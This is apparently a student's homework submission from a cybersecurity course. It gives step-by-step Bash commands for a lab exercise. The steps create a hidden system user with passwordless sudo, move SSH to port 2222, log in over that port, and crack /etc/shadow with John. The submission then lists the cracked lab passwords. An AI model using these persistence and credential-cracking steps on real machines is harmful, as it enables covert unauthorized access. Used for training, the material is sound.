**Week 6 Homework Submission File: Advanced Bash - Owning the System**

**Step 1: Shadow People**

A. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

a. useradd -u 900 -g sysd sysd

B. Give your secret user a password:

a. Passwd sysd

cybersecurity

cybersecurity

C. Give your secret user a system UID < 1000:

a. useradd -u 900 -g sysd sysd

D. Give your secret user the same GID:

a. groupadd -g 900 sysd

b. useradd -u 900 -g sysd sysd

E. Give your secret user full sudo access without the need for a password:

a. Sudo visudo

b. add “sysd ALL=(ALL) NOPASSWD:ALL” to the bottom of the script

c. Save and exit script

F. Test that sudo access works without your password:

a. Sudo visudo (it opens without asking for a password)

**Step 2: Smooth Sailing**

A. Edit the sshd\_config file:

a. Add “Port 2222”

**Step 3: Testing Your Configuration Update**

A. Restart the SSH service:

a. sudo systemctl restart ssh.service

B. Exit the root account:

a. Type “exit” repeat until logged out of remote session.

C. SSH to the target machine using your sysd account and port 2222:

a. ssh sysd@192.168.6.105 -p 2222

D. Use sudo to switch to the root user:

a. sudo su

**Step 4: Crack All the Passwords**

A. SSH back to the system using your sysd account and port 2222:

a. ssh sysd@192.168.6.105 -p 2222

B. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

a. sudo su

b. stallman: computer

c. babbage: freedom

d. mitnik: trustno1

e. lovelace: dragon

f. turing: lakers

g. student: Goodluck!

h. Sysadmin: cybersecurity (I changed it to this at one point)